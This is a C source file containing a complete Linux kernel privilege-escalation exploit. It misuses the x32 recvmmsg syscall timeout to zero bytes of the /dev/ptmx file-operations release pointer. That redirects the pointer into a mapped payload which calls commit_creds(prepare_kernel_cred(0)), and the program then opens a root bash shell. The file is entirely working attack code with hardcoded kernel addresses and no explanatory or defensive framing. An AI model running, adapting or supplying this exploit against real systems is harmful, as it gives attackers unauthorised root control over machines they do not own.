#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/mman.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define BUFSIZE 200
#define PAYLOADSIZE 0x2000
#define FOPS_RELEASE_OFFSET 13*8
#define PTMX_FOPS 0xffffffff81fb30c0LL
#define TTY_RELEASE 0xffffffff8142fec0LL
#define COMMIT_CREDS 0xffffffff8108ad40LL
#define PREPARE_KERNEL_CRED 0xffffffff8108b010LL
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
int __attribute__((regparm(3)))
kernel_payload( void * foo, void * bar)
{
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
*(( int *)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1;
commit_creds(prepare_kernel_cred(0));
return -1;
}
void zero_out( long addr)
{
int sockfd, retval, port, pid, i;
struct sockaddr_in sa;
char buf[BUFSIZE];
struct mmsghdr msgs;
struct iovec iovecs;
srand(time(NULL));
port = 1024 + (rand() % (0x10000 - 1024));
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror( "socket()" );
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, ( struct sockaddr *) &sa, sizeof (sa)) == -1) {
perror( "bind()" );
exit(EXIT_FAILURE);
}
memset(&msgs, 0, sizeof (msgs));
iovecs.iov_base = buf;
iovecs.iov_len = BUFSIZE;
msgs.msg_hdr.msg_iov = &iovecs;
msgs.msg_hdr.msg_iovlen = 1;
printf( "clearing byte at 0x%lx\n" , addr);
pid = fork();
if (pid == 0) {
memset(buf, 0x41, BUFSIZE);
if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror( "socket()" );
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
printf( "waiting 255 seconds...\n" );
for (i = 0; i < 255; i++) {
if (i % 10 == 0)
printf( "%is/255s\n" , i);
sleep(1);
}
printf( "waking up parent...\n" );
sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof (sa));
exit(EXIT_SUCCESS);
} else if (pid > 0) {
retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, ( void *)addr);
if (retval == -1) {
printf( "address can't be written to, not a valid timespec struct\n" );
exit(EXIT_FAILURE);
}
waitpid(pid, 0, 0);
printf( "byte zeroed out\n" );
} else {
perror( "fork()" );
exit(EXIT_FAILURE);
}
}
int main( int argc, char ** argv)
{
long code, target;
int pwn;
printf( "preparing payload buffer...\n" );
code = ( long )mmap(( void *)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset(( void *)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE - 1024;
memcpy(( void *)code, &kernel_payload, 1024);
printf( "changing kernel pointer to point into controlled buffer...\n" );
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);
printf( "releasing file descriptor to call manipulated pointer in kernel mode...\n" );
pwn = open( "/dev/ptmx" , 'r' );
close(pwn);
if (getuid() != 0) {
printf( "failed to get root :(\n" );
exit(EXIT_FAILURE);
}
printf( "got root, enjoy :)\n" );
return execl( "/bin/bash" , "-sh" , NULL);
}
|